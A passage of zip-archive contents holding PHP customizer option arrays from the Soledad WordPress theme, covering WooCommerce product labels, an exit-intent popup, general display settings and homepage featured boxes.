	'id'          => 'penci_woo_label_hot_product',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'square',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Label Style', 'soledad' ),
	'id'       => 'penci_woo_label_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'square' => __('Rectangle','soledad' ),
		'round'  => __('Round','soledad' ),
	),
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Percentage on sale label ?', 'soledad' ),
	'id'       => 'penci_woo_label_percentage',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_label_new_product',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show NEW label ?', 'soledad' ),
	'description'=>__('Display NEW label on product.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_label_new_product_period',
	'default'     => 7,
	'sanitize'    => 'absint',
	'label'       => __( 'Automatic "New" label period', 'soledad' ),
	'description'=>__('Set a number of days to keep your products marked as "New" after creation.','soledad'),
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_woo_label_new_product_period',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '7',
		),
	),
);
$options[] = array(
	'id'        => 'penci_woo_label_new_color',
	'default'   => '#8dd620',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'New Label Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_label_hot_color',
	'default'   => '#fb1919',
	'transport' => 'refresh',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Hot Label Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_label_hot_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Sale Label Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_label_outstock_color',
	'default'   => '#800000',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Out of Stock Label Background Color', 'soledad' ),
);

return $options;
PK     0w\O`    C  customizer/config/sections/penci_epopup_section_general_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'id'          => 'penci_epopup_enable',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Exit Intent Popup', 'soledad' ),
	'description' => __( 'Show popup when user leave the site.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'        => 'penci_epopup_html_content',
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Load Popup Content Using Shortcode/HTML', 'soledad' ),
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'id'          => 'penci_epopup_block',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Popup Content', 'soledad' ),
	'description' => __( 'You can add new or edit a Penci Block on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>', 'soledad' ),
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'id'       => 'penci_epopup_animation',
	'default'  => 'move-to-top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Open Animation', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'move-to-left'   => __( 'Move To Left', 'soledad' ),
		'move-to-right'  => __( 'Move To Right', 'soledad' ),
		'move-to-top'    => __( 'Move To Top', 'soledad' ),
		'move-to-bottom' => __( 'Move To Bottom', 'soledad' ),
		'fadein'         => __( 'Fade In', 'soledad' ),
	]
);
return $options;PK     0w\>MmM  mM  F  customizer/config/sections/pencidesign_new_section_general_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'id'       => 'penci_favicon',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Upload Favicon', 'soledad' ),
);
$options[] = array(
	'default'     => 'horizontal',
	'label'       => __( 'Featured Images Type:', 'soledad' ),
	'id'          => 'penci_featured_image_size',
	'description' => __( 'This feature does not apply to Featured Sliders and certain special areas. For featured images on category mega menu items, please select the option for it via <strong>Customize > Logo & Header</strong>.', 'soledad' ),
	'type'        => 'soledad-fw-radio',
	'sanitize'    => 'penci_sanitize_choices_field',
	'choices'     => array(
		'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
		'square'     => esc_html__( 'Square Size', 'soledad' ),
		'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
		'custom'     => esc_html__( 'Custom', 'soledad' ),
	),
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Auto Get Featured Image from Post Content', 'soledad' ),
	'id'          => 'penci_enable_auto_featured_image',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'If you haven\'t uploaded featured images for your posts, this option will automatically set the first image from the post content or the YouTube/Vimeo thumbnail as the featured image.', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_default_thumbnail',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Default Thumbnail Image', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_thumbnail_zoom_effect',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'type'     => 'soledad-fw-toggle',
	'label'    => __( 'Enable Thumbnail Zoom Effect', 'soledad' ),
);
$options[] = array(
	'default'     => '',
	'label'       => __( 'Custom Container Width', 'soledad' ),
	'id'          => 'penci_custom_container_w',
	'description' => __( 'Default is 1170px. Minimum is 800px', 'soledad' ),
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_custom_container_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 800,
			'max'  => 10000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => '',
	'label'       => __( 'Custom Container Width for Two Sidebars', 'soledad' ),
	'id'          => 'penci_custom_container2_w',
	'description' => __( 'Default is 1400px. Minimum is 800px', 'soledad' ),
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_custom_container2_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 800,
			'max'  => 10000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Custom Aspect Ratio for Featured Image', 'soledad' ),
	'id'          => 'penci_general_featured_image_ratio',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'The aspect ratio of an element describes the proportional relationship between its width and height, for example, 3:2. The default aspect ratio for featured images type "Custom" is 3:2. This option applies to the "Custom" featured image type.', 'soledad' ),
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Custom Border Radius for Featured Images', 'soledad' ),
	'id'          => 'penci_image_border_radius',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'Enter the value you want for the border radius here. You can use either pixels or percentage. For example, 10px or 10%.', 'soledad' ),
);

$options[] = array(
	'label'    => __( 'Get Post Views Data From?', 'soledad' ),
	'id'       => 'penci_general_views_meta',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''       => __('Default - from The Theme','soledad' ),
		'custom' => __('Custom Post Meta Field','soledad' ),
	),
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Post Views Meta Key', 'soledad' ),
	'id'          => 'penci_general_views_key',
	'sanitize'    => 'penci_sanitize_choices_field',
	'description' => __( 'Please enter the post views meta key you wish to use in order to display the number of post views. This option only applies when you have selected "Custom Post Meta Field" as the "Get Post Views Data From" option.', 'soledad' ),
	'active_callback' => [
		[
			'setting'  => 'penci_general_views_meta',
			'operator' => '==',
			'value'    => 'custom',
		]
	],
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Set A Default Reading Time Value', 'soledad' ),
	'id'          => 'penci_readtime_default',
	'description' => __( 'If you want to set a default value for the reading time, please enter it here. For example, 3 mins.', 'soledad' ),
);
$options[] = array(
	'type'        => 'soledad-fw-toggle',
	'label'       => __( 'Estimate Reading Time base Post Content?', 'soledad' ),
	'id'          => 'penci_readtime_auto',
	'description' => __( 'Please note that if you enable this option, any value set in "Set A Default Reading Time Value" will be ignored.', 'soledad' ),
);
$options[] = array(
	'type'        => 'soledad-fw-number',
	'label'       => __( 'Reading Time: Words Per Minute', 'soledad' ),
	'id'          => 'penci_readtime_wpm',
	'default'     => 200,
	'sanitize'    => 'absint',
	'description' => __( 'Please note that this option only applies when you have enabled "Estimate Reading Time based on Post Content".', 'soledad' ),
);
$options[] = array(
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'default'  => 'date',
	'label'    => __( 'Sort Posts By', 'soledad' ),
	'id'       => 'penci_general_post_orderby',
	'choices'  => array(
		'date'          => __('Published Date','soledad' ),
		'ID'            => __('Post ID','soledad' ),
		'modified'      => __('Modified Date','soledad' ),
		'title'         => __('Post Title','soledad' ),
		'rand'          => __('Random Posts','soledad' ),
		'comment_count' => __('Comment Count','soledad' ),
	),
);
$options[] = array(
	'sanitize' => 'penci_sanitize_choices_field',
	'default'  => 'DESC',
	'label'    => __( 'Select Posts Order', 'soledad' ),
	'id'       => 'penci_general_post_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __('Descending','soledad' ),
		'ASC'  => __('Ascending ','soledad' ),
	),
);
$options[] = array(
	'label'       => __( 'Use Outline Social Icons Instead of Filled Social Icons for Your Social Media?', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/outline-social.png" target="_blank">this image</a> to understand the difference between outline social icons and filled social icons. Please note that some icons may not be available in the outline style.', 'soledad' ),
	'id'          => 'penci_outline_social_icon',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'label' => __( 'Use Outline Social Icons for Social Sharing?', 'soledad' ),
	'id'    => 'penci_outline_social_share',
	'type'  => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select Separator Icon Between Posts Datas', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/separator-pmeta.png" target="_blank">this image</a> to understand what the "Separator Icon Between Posts Data" is."', 'soledad' ),
	'id'          => 'penci_separator_post_meta',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''         => __('Default ( Vertical Line )','soledad' ),
		'horiline' => __('Horizontal Line','soledad' ),
		'circle'   => __('Circle Filled','soledad' ),
		'bcricle'  => __('Circle Bordered','soledad' ),
		'square'   => __('Square Filled','soledad' ),
		'bsquare'  => __('Square Bordered','soledad' ),
		'diamond'  => __('Diamond Square Filled','soledad' ),
		'bdiamond' => __('Diamond Square Bordered','soledad' ),
	),
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Style for Post Categories Listing', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/cat_design.png" target="_blank">this image</a> to understand the styles for post categories listing. You can change the general color for it via General > Colors > Filled Categories Styles.', 'soledad' ),
	'id'          => 'penci_catdesign',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''      => __('Default','soledad' ),
		'fill'  => __('Filled Rectangle','soledad' ),
		'fillr' => __('Filled Round','soledad' ),
		'fillc' => __('Filled Circle','soledad' ),
	),
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select Separator Icon Between Categories', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/separator-cat.png" target="_blank">this image</a>  to understand what the "Separator Icon Between Categories" is. Please note that this does not apply to the filled styles shown above.', 'soledad' ),
	'id'          => 'penci_separator_cat',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''         => __('Default ( Diamond Square Bordered )','soledad' ),
		'verline'  => __('Vertical Line','soledad' ),
		'horiline' => __('Horizontal Line','soledad' ),
		'circle'   => __('Circle Filled','soledad' ),
		'bcricle'  => __('Circle Bordered','soledad' ),
		'square'   => __('Square Filled','soledad' ),
		'bsquare'  => __('Square Bordered','soledad' ),
		'diamond'  => __('Diamond Square Filled','soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Modified Date Replace with Published Date', 'soledad' ),
	'id'       => 'penci_show_modified_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Add "Published", "Updated" text before Post Date', 'soledad' ),
	'id'       => 'penci_addpre_date_text',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Date Format', 'soledad' ),
	'id'       => 'penci_date_format',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __('Default ( By Day, Month & Year )','soledad' ),
		'timeago' => __('Time Ago Format','soledad' ),
	),
);
$options[] = array(
	'default'  => 's9',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Style for Blocks Loading Ajax', 'soledad' ),
	'id'       => 'penci_block_lajax',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		's9' => __( 'Style 1','soledad' ),
		's2' => __( 'Style 2','soledad' ),
		's3' => __( 'Style 3','soledad' ),
		's4' => __( 'Style 4','soledad' ),
		's5' => __( 'Style 5','soledad' ),
		's6' => __( 'Style 6','soledad' ),
		's1' => __( 'Style 7','soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Smooth Scroll', 'soledad' ),
	'id'       => 'penci_enable_smooth_scroll',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Enable Page Navigation Numbers', 'soledad' ),
	'id'       => 'penci_page_navigation_numbers',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Page Navigation Numbers Alignment', 'soledad' ),
	'id'       => 'penci_page_navigation_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'align-left'   => __('Left','soledad' ),
		'align-right'  => __('Right','soledad' ),
		'align-center' => __('Center','soledad' ),
	),
	'default'  => 'align-left',
	'sanitize' => 'penci_sanitize_choices_field',
	'active_callback' => [
		[
			'setting'  => 'penci_page_navigation_numbers',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[] = array(
	'label'       => __( 'Show Primary Category Only', 'soledad' ),
	'description' => __( 'If you are not select the Primary Category OR using the "Yoast SEO""Rank Math" plugin, the first category listed in the post categories will be displayed.', 'soledad' ),
	'id'          => 'penci_show_pricat_yoast_only',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Show Primary Category at First ( When you display full categories )', 'soledad' ),
	'id'       => 'penci_show_pricat_first_yoast',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Get the Post Excerpt Length based on Number of Letters', 'soledad' ),
	'description' => __( 'This option can help fix problems with excerpt length in Chinese or Japanese languages.', 'soledad' ),
	'id'          => 'penci_excerptcharac',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Limit User Access Media Library', 'soledad' ),
	'description' => __( 'Users can only access the media files that they have uploaded.', 'soledad' ),
	'id'          => 'limit_access_media',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Utilize the Image Tag Instead of a Background image for Post Layouts', 'soledad' ),
	'id'          => 'penci_img_layouttag',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Synchronize user time for the penci_date shortcode and the Date/Time Header Builder element.', 'soledad' ),
	'id'          => 'penci_time_sync',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label' => __( 'Breadcrumb Settings', 'soledad' ),
	'id'    => 'author_breadcrumb_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Entire Site Breadcrumb', 'soledad' ),
	'id'       => 'penci_disable_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Single Post Pages.', 'soledad' ),
	'id'       => 'penci_disable_posts_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Hidden Post Title on Breadcrumbs ', 'soledad' ),
	'id'       => 'penci_hide_post_title_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Pages.', 'soledad' ),
	'id'       => 'penci_disable_pages_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Archive Pages.', 'soledad' ),
	'id'       => 'penci_disable_archive_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Home Page.', 'soledad' ),
	'id'       => 'penci_disable_home_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'label'    => __( 'Show Only Primary Category from "Yoast SEO" or "Rank Math" plugin for Breadcrumb', 'soledad' ),
	'id'       => 'enable_pri_cat_yoast_seo',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'label' => __( 'Author Avatar Settings', 'soledad' ),
	'id'    => 'author_avatar_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Meta Author Display', 'soledad' ),
	'id'       => 'penci_meta_author_display',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'author-name'        => __('Name','soledad' ),
		'author-avatar'      => __('Avatar','soledad' ),
		'author-name-avatar' => __('Name & Avatar','soledad' ),
	),
	'default'  => 'author-name',
	'sanitize' => 'penci_sanitize_choices_field',
);
$options[] = array(
	'type'     => 'soledad-fw-number',
	'label'    => __( 'Avatar Size', 'soledad' ),
	'id'       => 'penci_meta_author_aw',
	'default'  => 22,
	'sanitize' => 'absint',
);
$options[] = array(
	'type'     => 'soledad-fw-text',
	'label'    => __( 'Avatar Border Radius', 'soledad' ),
	'id'       => 'penci_meta_author_bd',
	'default'  => '10px',
	'sanitize' => 'sanitize_text_field',
);
$options[] = array(
	'label' => __( 'General Slider Options', 'soledad' ),
	'id'    => 'slider_option_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'       => __( 'Carousel Slider Effect', 'soledad' ),
	'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
	'id'          => 'penci_carousel_slider_effect',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'default' => __('Default','soledad' ),
		'swing'   => __('Swing','soledad' ),
	),
	'default'     => 'swing',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label'       => __( 'General Slider Effect', 'soledad' ),
	'id'          => 'penci_single_slider_effect',
	'description' => __( 'Some sliders do not support all effects listed below.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'fade'      => __('Fade','soledad' ),
		'slide'     => __('Slide','soledad' ),
		'coverflow' => __('Coverflow','soledad' ),
		'flip'      => __('Flip','soledad' ),
		'cards'     => __('Cards','soledad' ),
		'creative'  => __('Creative','soledad' ),
	),
	'default'     => 'creative',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label' => __( 'Sponsored Posts Options', 'soledad' ),
	'id'    => 'slider_option_heading_09',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Show Prefix Text Before Post Title', 'soledad' ),
	'id'       => 'penci_sponsored_prefix',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
return $options;
PK     0w\M{    L  customizer/config/sections/penci_section_homepage_featured_boxes_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Home Featured Boxes', 'soledad' ),
	'id'       => 'penci_home_hide_boxes',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Home Featured Boxes Style 2', 'soledad' ),
	'id'       => 'penci_home_box_style_2',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Home Featured Boxes Style 3', 'soledad' ),
	'id'       => 'penci_home_box_style_3',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'normal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Font Weight for Text on Featured Boxes', 'soledad' ),
	'id'       => 'penci_home_box_weight',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'bold'   => __('Bold','soledad' ),
		'normal' => __('Normal','soledad' ),
	),
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Home Featured Boxes Columns', 'soledad' ),
	'id'       => 'penci_home_box_column',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'3' => __('3 Columns','soledad' ),
		'4' => __('4 Columns','soledad' ),
	),
);
$options[] = array(
	'default'  => 'horizontal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Home Featured Boxes Size Type', 'soledad' ),
	'id'       => 'penci_home_box_type',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
		'square'     => esc_html__( 'Square Size', 'soledad' ),
		'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Open Home Featured Boxes in New Tab', 'soledad' ),
	'id'       => 'penci_home_boxes_new_tab',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 1st Image', 'soledad' ),
	'id'       => 'penci_home_box_img1',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 1st Text', 'soledad' ),
	'id'       => 'penci_home_box_text1',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 1st URL', 'soledad' ),
	'id'       => 'penci_home_box_url1',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 2nd Image', 'soledad' ),
	'id'       => 'penci_home_box_img2',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 2nd Text', 'soledad' ),
	'id'       => 'penci_home_box_text2',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 2nd URL', 'soledad' ),
	'id'       => 'penci_home_box_url2',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 3rd Image', 'soledad' ),
	'id'       => 'penci_home_box_img3',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 3rd Text', 'soledad' ),
	'id'       => 'penci_home_box_text3',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 3rd URL', 'soledad' ),
	'id'       => 'penci_home_box_url3',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 4th Image', 'soledad' ),
	'id'       => 'penci_home_box_img4',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 4th Text', 'soledad' ),
	'id'       => 'penci_home_box_text4',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 4th URL', 'soledad' ),
	'id'       => 'penci_home_box_url4',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 5th Image', 'soledad' ),
	'id'       => 'penci_home_box_img5',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 5th Text', 'soledad' ),
	'id'       => 'penci_home_box_text5',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 5th URL', 'soledad' ),
	'id'       => 'penci_home_box_url5',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 6th Image', 'soledad' ),
	'id'       => 'penci_home_box_img6',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 6th Text', 'soledad' ),
	'id'       => 'penci_home_box_text6',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 6th URL', 'soledad' ),
	'id'       => 'penci_home_box_url6',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 7th Image', 'soledad' ),
	'id'       => 'penci_home_box_img7',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 7th Text', 'soledad' ),
	'id'       => 'penci_home_box_text7',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 7th URL', 'soledad' ),
	'id'       => 'penci_home_box_url7',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 8th Image', 'soledad' ),
	'id'       => 'penci_home_box_img8',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 8th Text', 'soledad' ),
	'id'       => 'penci_home_box_text8',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 8th URL', 'soledad' ),
	'id'       => 'penci_home_box_url8',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
